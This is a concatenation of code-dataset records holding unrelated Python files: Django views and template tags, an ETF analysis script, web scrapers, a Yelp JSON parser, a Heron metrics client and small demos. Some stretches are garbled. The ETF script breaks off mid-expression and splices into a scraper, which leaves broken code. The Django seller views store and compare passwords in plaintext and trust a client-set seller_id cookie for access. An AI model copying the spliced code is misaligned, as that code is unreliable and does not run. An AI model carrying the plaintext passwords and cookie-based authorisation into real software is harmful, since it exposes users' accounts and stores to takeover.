bound_field.field.widget.attrs['aria-describedby'] = \"%s_helpblock\" % bound_field.auto_id\n\n if type(bound_field.field.widget) == forms.widgets.CheckboxSelectMultiple:\n # by identifying the widget I was hoping to not have options inside
  • tags....\n # but it is hardecoded on django widget funcitons.\n # TODO: rewrite checkbox renderer tags\n html = template.loader.get_template('bootstrap3_form/checkbox_field.html')\n else:\n # loads the bootstratwitter 3 template\n html = template.loader.get_template('bootstrap3_form/form_field.html')\n\n return html.render(template.Context({'field': bound_field}))\n\n\ndef form(form, arg):\n form_html = ''\n\n if arg == \"inline\":\n html = template.loader.get_template('bootstrap3_form/form_field_inline.html')\n else:\n html = template.loader.get_template('bootstrap3_form/form_field.html')\n\n for fld in form.visible_fields():\n row = html.render(template.Context({'field': fld}))\n form_html += row\n\n for fld in form.hidden_fields():\n row = unicode(fld)\n form_html += u'
    %s
    ' % (row)\n\n return mark_safe(form_html)\n\n\n@register.filter()\ndef search_form(form, buttons=None):\n '''\n \n '''\n\n # loads the bootstratwitter 3 template\n html = template.loader.get_template('bootstrap3_form/search_field.html')\n return html.render(template.Context({'form': form}))\n","sub_path":"django_erp/core/templatetags/bs3_form.py","file_name":"bs3_form.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"130702594","text":"from yahoo_fin.stock_info import *\nimport itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nticker = 'IWDA.AS'\n#ticker = 'CNY.PA'\n\ndf_etf = get_data(ticker)\ndf_etf_monthly = df_etf.assign(Date=df_etf.index).resample('M',on='Date').mean()\ndf_etf_yearly = df_etf.assign(Date=df_etf.index).resample('Y',on='Date').mean()\n\n# current month average compare with last month average\ncurrent_month_avg = df_etf_monthly.iloc[-1]['adjclose']\nlast_month_avg = df_etf_monthly.iloc[-2]['adjclose']\ngrowth_rate_monthly_1 = (current_month_avg - last_month_avg)/last_month_avg\n\n# current price compare with last month average\ncurrent_day_price = df_etf.iloc[-1]['adjclose']\ngrowth_rate_monthly_2 = (current_day_price - last_month_avg)/last_month_avg\n\n# add a column of the monthly growth rate\ndf_etf_monthly['growth_rate'] = df_etf_monthly.adjclose.diff()/df_etf_monthly['adjclose'].shift(1)\n# add a column of the yearly growth rate\ndf_etf_yearly['growth_rate'] = df_etf_yearly.adjclose.diff()/df_etf_yearly['adjclose'].shift(1)\n\n# if continuously decrease/increase for 3 month, calculate the growth rate\nlast_3rd_month_avg = df_etf_monthly.iloc[-4]['adjclose']\ngrowth_rate_last_3rd = (current_day_price - last_3rd_month_avg)/last_3rd_month_avg\n\n# if continuously decrease/increase for 2 month, calculate the growth rate\nlast_2nd_month_avg = df_etf_monthly.iloc[-3]['adjclose']\ngrowth_rate_last_2nd = (current_day_price - last_2nd_month_avg)/last_2nd_month_avg\n\n# print out the growth rates\nprint(ticker + '--- monthly growth rate (current month avg): '+str(growth_rate_monthly_1))\nprint(ticker + '--- monthly growth rate (todays price): '+ str(growth_rate_monthly_2))\nprint(ticker + '--- If there is continuous growth/decrease in 2 months, the growth rate is ' + str(growth_rate_last_2nd))\nprint(ticker + '--- If there is continuous growth/decrease in 3 months, the growth rate is ' + str(growth_rate_last_3rd))\ndf_etf_monthly.to_csv(ticker+'_monthly.csv')\ndf_etf.to_csv(ticker+'.csv')\n\n#--------------------------------------------------------------------------\n# calculate the frequency of continuous increase and decease month\ngrowth_rate = df_etf_monthly['growth_rate'].values.tolist()\ngrm_pos = {}\ngrm_neg = {}\nfor k, v in itertools.groupby(growth_rate, lambda e:e>0):\n count = len(list(v))\n r = grm_pos\n if k == False:\n r = grm_neg\n if count not in r.keys():\n r[count] = 0\n r[count] += 1\n\n# plot the frequency of continuous increase and decrease\nfig, (axs1, axs2) = plt.subplots(1, 2)\nfig.suptitle('Monthly Growth Histogram ('+ticker+')')\nfig.set_size_inches(18.5, 10.5)\naxs1.bar(grm_pos.keys(), grm_pos.values(), width=1, color='g')\naxs1.set_title('Increase')\naxs1.set(xlabel='Continuous increase',ylabel='Frequency')\nx_pos = np.arange(1, max(grm_pos.keys())+1, 1)\ny_pos = np.arange(1, max(grm_pos.values())+1,1)\naxs1.set_xticks(x_pos)\naxs1.set_yticks(y_pos)\naxs2.bar(grm_neg.keys(), grm_neg.values(), width=1, color='r')\naxs2.set_title('Decrease')\naxs2.set(xlabel='Continuous decrease',ylabel='Frequency')\nx_neg = np.arange(1, max(grm_neg.keys())+1, 1)\ny_neg = np.arange(1, max(grm_neg.values())+1,1)\naxs2.set_xticks(x_neg)\naxs2.set_yticks(y_neg)\nplt.savefig('Monthly growth histogram '+ticker+'.png')\n\n#----------------------------------------------------------------\n# calculate margin of continuous increase/decrease\n# put column adjclose and growth rate to two lists\ngr_m = df_etf_monthly['growth_rate'].values.tolist()\nadjclose_m = df_etf_monthly['adjclose'].values.tolist()\n# create two lists to store the calculated positive and negative margins\ngr_margin_pos = []\ngr_margin_neg = []\n# for check only, can be deleted\n# pointer=[]\n# pointer1 = []\n# j = 0\n# for j in range(0,len(gr_m)):\n# if gr_m[j] > 0:\n# pointer.append(j)\n# print(pointer)\n\n# Find the pointers to calculate the positive growth rate. \n# Put in two lists p1: the start pointer, and p2: the end pointer\ni = 0\np1 = []\nfor i in range(0, len(gr_m)-1):\n if gr_m[i] > 0 and i == 1:\n p1.append(i-1)\n elif gr_m[i] < 0 and (gr_m[i+1] > 0 ):\n p1.append(i)\n \np2 = []\nfor i in range(0, len(gr_m)-1):\n if gr_m[i] > 0 and gr_m[i+1] < 0:\n p2.append(i)\n elif gr_m[i] > 0 and gr_m[i+1] > 0 and i == len(gr_m)-2:\n p2.append(i+1)\n if gr_m[i+1] > 0 and i == len(gr_m)-2:\n p2.append(i+1)\n i += 1\nprint(\"Margin calculation check---------------------------------------------\")\nprint(p1)\nprint(p2)\n# Calculate the positive margin, use the pointer to find the relative price in adjclose list\ni = 0\nfor i in range(0, len(p1)):\n margin = (adjclose_m[p2[i]] - adjclose_m[p1[i]])/adjclose_m[p1[i]]\n gr_margin_pos.append(margin)\n#print(gr_margin_pos)\n\n# for check only\n# pointer=[]\n# pointer1 = []\n# j = 0\n# for j in range(0,len(gr_m)):\n# if gr_m[j] < 0:\n# pointer.append(j)\n# print(pointer)\n\n# Find the pointers to calculate the negative growth rate. \n# Put in two lists p3: the start pointer, and p4: the end pointer\ni = 0\np3 = []\nfor i in range(0, len(gr_m)-1):\n if gr_m[i] < 0 and i == 1:\n p3.append(i-1)\n elif gr_m[i] > 0 and gr_m[i+1] < 0:\n p3.append(i)\n i += 1\n\np4 = []\nfor i in range(0, len(gr_m)-1):\n if gr_m[i] < 0 and gr_m[i+1] > 0:\n p4.append(i)\n elif gr_m[i] < 0 and gr_m[i+1] < 0 and i == len(gr_m)-2:\n p4.append(i+1)\n elif gr_m[i] > 0 and gr_m[i+1] < 0 and i == len(gr_m)-2:\n p4.append(i+1)\n i += 1\nprint(p3)\nprint(p4)\n\n# Calculate the negative margin\ni = 0\nfor i in range(0, len(p3)):\n margin = (adjclose_m[p4[i]] - adjclose_m[p3[i]])/adjclose_m[p3[i]]\n gr_margin_neg.append(margin)\nprint(gr_margin_neg)\n\n# count growth rate positive in ranges\ni1 = 0 # between 0-0.05\ni2 = 0 # between 0.05-0.1\ni3 = 0 # between 0.1-0.15\ni4 = 0 # between 0.15-0.2\ni5 = 0 # between 0.2-0.25\ni6 = 0 # between 0.25-0.3\ni7 = 0 # between 0.3-0.35\ni8 = 0 # between 0.35-0.4\ni9 = 0 # between 0.4-0.45\ni10 = 0 # between 0.45-0.5\ni11 = 0 # between 0.5-0.55\ni12 = 0 # between 0.55-0.6\ni13 = 0 # between 0.6-0.65\ni14 = 0 # between 0.65-0.7\ni15 = 0 # between 0.7-0.75\ni16 = 0 # between 0.75-0.8\ni17 = 0 # between 0.8-0.85\ni18 = 0 # between 0.85-0.9\ni19 = 0 # between 0.9-0.95\ni20 = 0 # between 0.95-1\n\nfor i in range(0,len(gr_margin_pos)-1):\n if gr_margin_pos[i]<=0.05:\n i1+=1\n elif 0.05-0.05:\n i1+=1\n elif -0.1>> \" + ret_url)\n return ret_url\n\n\ncur_month = 1\nend_month = 13\n\nif __name__ == '__main__':\n while int(end_month) > int(cur_month):\n cur_day = 1\n end_day = 31\n while int(end_day) > int(cur_day):\n cur_page = 2\n end_page = 12\n try:\n while int(end_page) > int(cur_page):\n cur_url = get_urls(year, cur_month, cur_day, cur_page)\n response = requests.get(cur_url)\n data = response.content.decode('utf-8')\n html = etree.HTML(data)\n img = html.xpath('//img[@*]/@src')\n # for i in img:\n cur_img = str(img[0]).replace('../../', url)\n print(\"cur_img: >>> \")\n print(cur_img)\n\n try:\n res = requests.get(cur_img, headers=headers)\n img_data = res.content # 只能转换为字节流才能下载图片\n # with open ('/Users/hspcadmin/{}.jpg'.format(a),'wb') as f:\n path = 'news'\n string = str(cur_month) + '-' + str(cur_day) + '-' + str(cur_page) + '.jpg'\n with open(path + '\\\\' + string, 'ab') as f:\n f.write(img_data)\n print('第%s张图片已下载完成' % string)\n except Exception as e:\n print(\"this is page Exception: >>> \")\n print(e)\n continue\n cur_page += 1\n cur_day += 1\n except Exception as e:\n print(\"this is day Exception: >>> \")\n cur_day += 1\n print(cur_day)\n print(e)\n continue\n cur_month += 1\n","sub_path":"com/phantom/demo/newsDemo.py","file_name":"newsDemo.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"578855116","text":"import os\r\n\r\nfrom django.shortcuts import render, redirect\r\nfrom seller.models import Seller, Store, GoodsType, Goods\r\n\r\n\r\n# Create your views here.\r\n# 主页\r\ndef index(request):\r\n return render(request, 'seller/index.html')\r\n\r\n\r\n# ###################################################商品管理################################################\r\ndef goodstype_list(request):\r\n goodstype_obj_list = GoodsType.objects.all()\r\n return render(request, 'seller/goods_type_list.html', locals())\r\n\r\n\r\ndef add_goodstype(request):\r\n message = \"\"\r\n if request.method == \"POST\":\r\n goodstype_name = request.POST.get(\"goodstype_name\")\r\n goodstype_img = request.FILES.get(\"goodstype_img\")\r\n if all([goodstype_name, goodstype_img]):\r\n goodstype_obj = GoodsType(\r\n name=goodstype_name,\r\n logo=goodstype_img\r\n )\r\n goodstype_obj.save()\r\n return redirect(\"/seller/goodstype_list/\")\r\n else:\r\n message = \"信息不完整,请添加完整\"\r\n return redirect(\"/seller/goodstype_list/\")\r\n\r\n\r\ndef edit_goodstype(request):\r\n if request.method == \"POST\":\r\n goodstype_id = request.POST.get(\"id\")\r\n goodstype_obj = GoodsType.objects.get(id=goodstype_id)\r\n goodstypename = request.POST.get(\"goodstypename\")\r\n goodstypeimg = request.FILES.get(\"goodstypeimg\")\r\n if goodstypeimg:\r\n path = 'static/' + goodstype_obj.logo.name\r\n os.remove(path)\r\n goodstype_obj.logo = goodstypeimg\r\n goodstype_obj.name = goodstypename\r\n goodstype_obj.save()\r\n return redirect('/seller/goodstype_list/')\r\n else:\r\n goodstype_id = request.GET.get(\"id\")\r\n goodstype_obj = GoodsType.objects.get(id=goodstype_id)\r\n return render(request, 'seller/edit_goodstype.html', locals())\r\n\r\n\r\ndef delete_goodstype(request):\r\n goodstype_id = request.GET.get(\"id\")\r\n goodstype_obj = GoodsType.objects.get(id=goodstype_id)\r\n path = 'static/' + goodstype_obj.logo.name\r\n os.remove(path)\r\n goods_obj_list = goodstype_obj.goods_set.all()\r\n for goods_obj in goods_obj_list:\r\n goods_img_path = 'static/' + goods_obj.images.name\r\n os.remove(goods_img_path)\r\n goodstype_obj.delete()\r\n return redirect('/seller/goodstype_list/')\r\n\r\n\r\ndef goods_list(request):\r\n seller_id = request.COOKIES.get(\"seller_id\")\r\n store_obj = Store.objects.get(seller_id=seller_id)\r\n goods_obj_list = Goods.objects.filter(store_id=store_obj.id)\r\n return render(request, 'seller/goods_list.html', locals())\r\n\r\n\r\ndef add_goods(request):\r\n if request.method == \"POST\":\r\n name = request.POST.get(\"name\")\r\n price = request.POST.get(\"price\")\r\n bzq = request.POST.get(\"bzq\")\r\n level = request.POST.get(\"level\")\r\n productdate = request.POST.get(\"productdate\")\r\n desc = request.POST.get(\"desc\")\r\n detail = request.POST.get(\"detail\")\r\n goodsimg = request.FILES.get(\"goodsimg\")\r\n goodstype_id = request.POST.get(\"goodstype_id\")\r\n\r\n seller_id = request.COOKIES.get(\"seller_id\")\r\n store_id = Seller.objects.get(id=seller_id).store.id\r\n if all([name, price, bzq, productdate, goodsimg]):\r\n goods_obj = Goods(\r\n name=name,\r\n price=price,\r\n shelf_life=bzq,\r\n production_date=productdate,\r\n desc=desc,\r\n detail=detail,\r\n images=goodsimg,\r\n goodstype_id=goodstype_id,\r\n level=level,\r\n store_id=store_id\r\n )\r\n goods_obj.save()\r\n return redirect(\"/seller/goods_list/\")\r\n else:\r\n goodstype_obj_list = GoodsType.objects.all()\r\n return render(request, 'seller/add_goods.html', locals())\r\n\r\n\r\ndef goods_count(request):\r\n return render(request, 'seller/goods_count.html')\r\n\r\n\r\n# ###################################################订单管理################################################\r\ndef orders_status(request):\r\n return render(request, 'seller/orders_status.html')\r\n\r\n\r\ndef orders_count(request):\r\n return render(request, 'seller/orders_count.html')\r\n\r\n\r\n# ####################################################店铺管理###############################################\r\ndef store(request):\r\n seller_id = request.COOKIES.get(\"seller_id\")\r\n if request.method == \"POST\":\r\n store_id = request.POST.get(\"id\")\r\n if store_id:\r\n '''修改店铺'''\r\n shopname = request.POST.get(\"shopname\")\r\n shopaddress = request.POST.get(\"shopaddress\")\r\n shopdesc = request.POST.get(\"shopdesc\")\r\n shopimg = request.FILES.get(\"shopimg\")\r\n store_obj = Store.objects.get(id=store_id)\r\n if shopimg:\r\n '''如果图片存在,想要替换图片,先把之前的删除'''\r\n path = 'static/' + store_obj.logo.name\r\n os.remove(path)\r\n store_obj.logo = shopimg\r\n store_obj.name = shopname\r\n store_obj.address = shopaddress\r\n store_obj.desc = shopdesc\r\n store_obj.save()\r\n else:\r\n shopname = request.POST.get(\"shopname\")\r\n shopaddress = request.POST.get(\"shopaddress\")\r\n shopdesc = request.POST.get(\"shopdesc\")\r\n shopimg = request.FILES.get(\"shopimg\")\r\n seller_id = request.COOKIES.get(\"seller_id\")\r\n\r\n seller_obj = Seller.objects.get(id=seller_id)\r\n if all([shopname, shopaddress, shopdesc]):\r\n store_obj = Store(\r\n name=shopname,\r\n address=shopaddress,\r\n desc=shopdesc,\r\n logo=shopimg,\r\n seller=seller_obj\r\n )\r\n store_obj.save()\r\n return redirect('/seller/index/')\r\n else:\r\n seller_id = request.COOKIES.get(\"seller_id\")\r\n seller_obj = Seller.objects.get(id=seller_id)\r\n try:\r\n store_obj = seller_obj.store\r\n except:\r\n pass\r\n return render(request, 'seller/store.html', locals())\r\n\r\n\r\n# #############################################注册登录退出##################################\r\ndef login(request):\r\n message = ''\r\n if request.method == \"POST\":\r\n username = request.POST.get(\"username\")\r\n password = request.POST.get(\"password\")\r\n seller_obj = Seller.objects.filter(username=username, password=password).first()\r\n if seller_obj:\r\n response = redirect('/seller/index')\r\n response.set_cookie('username', username)\r\n response.set_cookie('headimg', seller_obj.header_img)\r\n response.set_cookie('seller_id', seller_obj.id)\r\n return response\r\n else:\r\n message = \"账号或密码错误\"\r\n return render(request, 'seller/login.html', {\"message\": message})\r\n\r\n\r\ndef register(request):\r\n message = \"\"\r\n if request.method == \"POST\":\r\n username = request.POST.get(\"username\")\r\n password = request.POST.get(\"password\")\r\n email = request.POST.get(\"email\")\r\n phone = request.POST.get(\"phone\")\r\n address = request.POST.get(\"address\")\r\n headimg = request.FILES.get(\"headimg\")\r\n if all([username, password, email, phone, address]):\r\n seller_obj = Seller(\r\n username=username,\r\n password=password,\r\n email=email,\r\n phone=phone,\r\n address=address,\r\n header_img=headimg\r\n )\r\n seller_obj.save()\r\n return redirect('/seller/login/')\r\n else:\r\n message = '信息输入不完整,请重新输入'\r\n return render(request, 'seller/register.html', {\"message\": message})\r\n\r\n\r\ndef logout(request):\r\n response = redirect('/seller/login/')\r\n response.delete_cookie(\"username\")\r\n response.delete_cookie(\"headimg\")\r\n response.delete_cookie(\"seller_id\")\r\n return response\r\n\r\n\r\n\r\n","sub_path":"seller/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"185064225","text":"import json\n\ndef cleanStr4SQL(s):\n return s.replace(\"'\",\"`\").replace(\"\\n\",\" \")\n\ndef parseBusinessData():\n #read the JSON file\n with open('yelp_business.JSON','r') as f: #Assumes that the data files are available in the current directory. If not, you should set the path for the yelp data files.\n outfile = open('business.txt', 'w')\n line = f.readline()\n count_line = 1\n outfile.write(\"HEADER: (business_id, name; address; state; city; postal_code; latitude; longitude; stars; is_open)\" '\\n')\n #read each JSON abject and extract data\n while line:\n data = json.loads(line)\n outfile.write(str(count_line) + \"- business info: '\")\n HelperFunction(data, outfile)\n line = f.readline()\n count_line +=1\n print(count_line)\n outfile.close()\n f.close() \n \n\ndef HelperFunction(obj, outfile):\n for i in obj:\n if isinstance(obj[i], dict):\n HelperFunction(obj[i], outfile)\n else:\n\n outfile.write(i + \", '\" + str(obj[i]))\n outfile.write('\\n')\n \n \ndef parseUserData():\n #write code to parse yelp_user.JSON\n with open('yelp_user.JSON','r') as f: #Assumes that the data files are available in the current directory. If not, you should set the path for the yelp data files.\n outfile = open('userData.txt', 'w')\n line = f.readline()\n count_line = 0\n outfile.write(\"HEADER: (user_id; name; yelping_since; tipcount; fans; average_stars; (funny,useful,cool))\" '\\n')\n #read each JSON abject and extract data\n while line:\n data = json.loads(line)\n outfile.write(str(count_line) + \"- user info: '\")\n HelperFunction(data, outfile)\n line = f.readline()\n count_line +=1\n print(count_line)\n outfile.close()\n f.close()\n pass \n\ndef parseCheckinData():\n #write code to parse yelp_checkin.JSON\n with open('yelp_checkin.JSON', 'r') as f:\n outfile = open('checkin.txt', 'w')\n line = f.readline()\n count_line = 1\n outfile.write(\"HEADER: (business_id : (year,month,day,time))\" '\\n')\n while line:\n data = json.loads(line)\n outfile.write(str(count_line) + \"- '\")\n outfile.write(cleanStr4SQL(data['business_id']) + \"':\" '\\n')\n outfile.write(\"(\")\n date = data['date']\n\n outfile.write(str(date))\n \n line = f.readline()\n count_line +=1\n print(count_line)\n outfile.close()\n f.close()\n pass\n\n\ndef parseTipData():\n #write code to parse yelp_tip.JSON\n with open('yelp_tip.JSON', 'r') as f:\n outfile = open('tip.txt', 'w')\n line = f.readline()\n count_line = 1\n outfile.write(\"HEADER: (business_id; date; likes; text; user_id)\" '\\n')\n while line:\n data = json.loads(line)\n outfile.write(str(count_line) + \"-'\")\n\n outfile.write(cleanStr4SQL(data['business_id']) + \"' ; '\")\n outfile.write(str(data['date']) + \"' ; \")\n outfile.write(str(data['likes']) + \" ; '\")\n outfile.write(str(data['text']) + \"' ; '\")\n outfile.write(str(data['user_id']) + \"'\")\n outfile.write('\\n')\n\n line = f.readline()\n count_line +=1\n print(count_line)\n outfile.close()\n f.close()\n pass\n\nparseBusinessData()\nparseUserData()\n#parseCheckinData()\n#parseTipData()\n","sub_path":"parseJSON_sample.py","file_name":"parseJSON_sample.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"467586037","text":"# Copyright 2016 Twitter. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\" metricstimeline.py \"\"\"\nimport tornado.gen\n\nfrom heron.common.src.python.utils.log import Log\nfrom heron.proto import common_pb2\nfrom heron.proto import tmaster_pb2\n\n# pylint: disable=too-many-locals, too-many-branches, unused-argument\n@tornado.gen.coroutine\ndef getMetricsTimeline(tmaster,\n component_name,\n metric_names,\n instances,\n start_time,\n end_time,\n callback=None):\n \"\"\"\n Get the specified metrics for the given component name of this topology.\n Returns the following dict on success:\n {\n \"timeline\": {\n : {\n : {\n : ,\n : ,\n ...\n }\n ...\n }, ...\n },\n \"starttime\": ,\n \"endtime\": ,\n \"component\": \"...\"\n }\n\n Returns the following dict on failure:\n {\n \"message\": \"...\"\n }\n \"\"\"\n # Tmaster is the proto object and must have host and port for stats.\n if not tmaster or not tmaster.host or not tmaster.stats_port:\n raise Exception(\"No Tmaster found\")\n\n host = tmaster.host\n port = tmaster.stats_port\n\n # Create the proto request object to get metrics.\n\n metricRequest = tmaster_pb2.MetricRequest()\n metricRequest.component_name = component_name\n\n # If no instances are give, metrics for all instances\n # are fetched by default.\n if len(instances) > 0:\n for instance in instances:\n metricRequest.instance_id.append(instance)\n\n for metricName in metric_names:\n metricRequest.metric.append(metricName)\n\n metricRequest.explicit_interval.start = start_time\n metricRequest.explicit_interval.end = end_time\n metricRequest.minutely = True\n\n # Serialize the metricRequest to send as a payload\n # with the HTTP request.\n metricRequestString = metricRequest.SerializeToString()\n\n # Form and send the http request.\n url = \"http://{0}:{1}/stats\".format(host, port)\n request = tornado.httpclient.HTTPRequest(url,\n body=metricRequestString,\n method='POST',\n request_timeout=5)\n\n Log.debug(\"Making HTTP call to fetch metrics\")\n Log.debug(\"url: \" + url)\n try:\n client = tornado.httpclient.AsyncHTTPClient()\n result = yield client.fetch(request)\n Log.debug(\"HTTP call complete.\")\n except tornado.httpclient.HTTPError as e:\n raise Exception(str(e))\n\n\n # Check the response code - error if it is in 400s or 500s\n responseCode = result.code\n if responseCode >= 400:\n message = \"Error in getting metrics from Tmaster, code: \" + responseCode\n Log.error(message)\n raise Exception(message)\n\n # Parse the response from tmaster.\n metricResponse = tmaster_pb2.MetricResponse()\n metricResponse.ParseFromString(result.body)\n\n if metricResponse.status.status == common_pb2.NOTOK:\n if metricResponse.status.HasField(\"message\"):\n Log.error(metricResponse.status.message)\n\n # Form the response.\n ret = {}\n ret[\"starttime\"] = start_time\n ret[\"endtime\"] = end_time\n ret[\"component\"] = component_name\n ret[\"timeline\"] = {}\n\n # Loop through all the metrics\n # One instance corresponds to one metric, which can have\n # multiple IndividualMetrics for each metricname requested.\n for metric in metricResponse.metric:\n instance = metric.instance_id\n\n # Loop through all individual metrics.\n for im in metric.metric:\n metricname = im.name\n if metricname not in ret[\"timeline\"]:\n ret[\"timeline\"][metricname] = {}\n if instance not in ret[\"timeline\"][metricname]:\n ret[\"timeline\"][metricname][instance] = {}\n\n # We get minutely metrics.\n # Interval-values correspond to the minutely mark for which\n # this metric value corresponds to.\n for interval_value in im.interval_values:\n ret[\"timeline\"][metricname][instance][interval_value.interval.start] = interval_value.value\n\n raise tornado.gen.Return(ret)\n","sub_path":"heron/tools/tracker/src/python/metricstimeline.py","file_name":"metricstimeline.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"283789919","text":"import clutter, gtk.gdk\nimport sys\n\nclass SpectrumDisplay:\n def __init__(self):\n self.slide = clutter.Group()\n self.slide.visible = True\n a = clutter.Rectangle()\n a.set_width(16)\n a.set_height(9)\n a.set_color(clutter.color_parse('red'))\n a.set_position(0,0)\n a.visible = True\n self.slide.add(a)\n self.slide._timeline = clutter.Timeline(30, 25)\n self.slide._timeline.set_loop(True)\n alpha = clutter.Alpha(self.slide._timeline, clutter.ramp_func)\n self.slide._behaviour = clutter.BehaviourOpacity(0xdd, 0, alpha)\n self.slide._behaviour.apply(a)\n self.slide._timeline.start()\n\nslide = SpectrumDisplay().slide\n","sub_path":"examples/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"541501253","text":"#-*-coding:utf-8-*-\n#爬取小说,每一章的后面都有下一章的url,所以就不要用异步了,因为会导致取不到url报错\n#小说是有先后的,可以运用多进程+正则表达式爬取,一个文本存一定的章数,一个文本一个进程爬取\n#加上ip代理爬取,用到类最好\nimport requests\nimport re,time,random\nfrom multiprocessing import Pool,Process\n\nclass novel(object):\n def __init__(self,url):\n self.baseurl = url#'https://xs.sogou.com'#全局变量\n self.hreflist=[]\n iplist=['http://61.135.217.7:80']\n proxies=random.choice(iplist)\n proxies = {'http': proxies}\n print(proxies)\n self.proxies=proxies\n def spider(self,href):#爬取html与储存一起\n self.href = href#'/chapter/5153804174_168878114094447/'\n try:\n for i in range(0, 15):\n user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'\n referer='https://xs.sogou.com/book/5153804174/'\n cookies='SUV=00234F7478C68ABD5B73ACEB47254783; pgv_pvi=6293245952; sw_uuid=9129834677; sg_uuid=561832967; ssuid=6044945762; CXID=A061ABDEB4CEFE96E2967BE577FF685A; teleplay_play_records=teleplay_566683:1; SUID=BD8AC6784F18910A000000005B756B65; YYID=206983117D035E1CD6BB3D36FCF62E19; usid=ea-sq7v53o_ko1fq; cd=1544926214&0e42495d0cba3090a50f2bfa2c5fa04c; IPLOC=CN4400; guest_uid=guest_2664698324; reader_help_tip=1; SNUID=41C06895E1E59C067EBAC15BE1494ADE; sct=66; ld=0yllllllll2txFfJgxQ1xOZ6y3HtVbypKqo3olllllwlllllpZlll5@@@@@@@@@@; LSTMV=381%2C396; LCLKINT=10917; SGS_FE_WAID=WAID2018102600000000000016597059; JSESSIONID=aaaPad4mHSdvEg7-e6ZFw'\n headers={'User-Agent':user_agent,'Referer':referer,'Cookies':cookies}\n url=self.baseurl+self.href\n response=requests.get(url,headers=headers,proxies=self.proxies).text\n #print(response)\n pattern=re.compile(r'(.*?)')\n zhangjie=re.findall(pattern1,response)[0]\n print('正在爬取', zhangjie)\n pattern2=re.compile(r'
    (.*?)
    ',re.S)#网页上面的跟requests.get的不一样,多了style,所以之前一直爬取不了\n comtent=re.findall(pattern2,response)[0]\n comtent=comtent.replace('

    ','\\r\\n\\t')#换成换行符并且空两格\n comtent=comtent.replace('

    ','')\n comtent=comtent.replace('“','\"')\n comtent=comtent.replace('”','\"')\n comtent=comtent.replace('……','······')\n comtent=comtent.replace('—','-')\n if i==0:\n file=open(\"御仙诀{}后的15章.txt\".format(zhangjie),\"a\",encoding='utf-8')#在循环中只运行一次,创建文件夹\n #print(comtent)\n file.write(zhangjie+\"\\n\")\n file.write(comtent+\"\\n\")\n\n if self.href in self.hreflist:#判断是否为最后一页,是就跳出\n return\n self.hreflist.append(self.href)\n except EOFError as e:\n print('except:',e)\n finally:\n file.close()#确保可以保存\ndef main():\n start=time.time()\n ater=novel('https://xs.sogou.com')\n hreflist=['/chapter/5153804174_168878114094447/','/chapter/5153804174_168878114216928','/chapter/5153804174_168878114337129','/chapter/5153804174_168878114459186','/chapter/5153804174_168878114579100','/chapter/5153804174_168878114705337','/chapter/5153804174_168878114824932','/chapter/5153804174_168878114950638','/chapter/5153804174_168878115157343']\n for href in hreflist:\n p=Process(target=ater.spider,args=(href,))\n p.start()\n p.join()#应该每个进程的p都不同,在运行p.join(),下次再弄明白\n end=time.time()\n print('总共花费的时间为:', (end-start))\nif __name__=='__main__':\n main()\n\n\n","sub_path":"novel.py","file_name":"novel.py","file_ext":"py","file_size_in_byte":4392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"94589134","text":"import random\n\ndef consume():\n\twhile True:\n\t\td1=yield \n\t\tprint(\"Recieved : \",d1)\n\ndef produce(consumer):\n\twhile True:\n\t\tdata = random.randint(1,100)\n\t\tconsumer.send(data)\n\t\tprint(\"Sent : \",data)\n\t\tyield \n\t\t\ndef main():\n\tconsumer = consume()\n\tconsumer.send(None)# explicitly calling\n\tproducer = produce(consumer)\n\tfor x in range(10):\n\t\tnext(producer)\n\t\t\nif __name__==\"__main__\":\n\tmain()\n\t\t\n\t\n\t","sub_path":"1.Class/Language_Python-master/Language_Python-master/LC29_5_UsingYieldOnRHSside.py","file_name":"LC29_5_UsingYieldOnRHSside.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"483992212","text":"#Importing the modules requried for the program\r\nimport pyautogui\r\nimport time\r\n#getting the input\r\nsec=int(input(\"Enter the number of secinds you need to open the clipboard (5-10 is recommended) : \"))\r\n#getting the message\r\nmsg=input(\"Enter the message : \").strip()\r\n\r\nn=int(input(\"Enter the number of time you wanna send : \"))\r\n\r\ntime.sleep(sec)\r\n#actual printing\r\nfor i in range(n):\r\n pyautogui.write(msg)\r\n pyautogui.press('enter')\r\n \r\n","sub_path":"n number of message sender.py","file_name":"n number of message sender.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"161583966","text":"from django.conf.urls import url\nfrom django.contrib import admin\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\napp_name = 'dishesByMe' #'home'\n\nurlpatterns = [\n # /home/\n # url(r'^RecipesHome/$', views.IndexView.as_view(), name='index'),\n url(r'^RecipesHome/$', views.index, name='index'),\n\n # /home/DishesByMe\n url(r'^dishesByMe/$', views.TemplateView.as_view(), name='dishesByMe'),\n\n # /home/Appetizer\n # 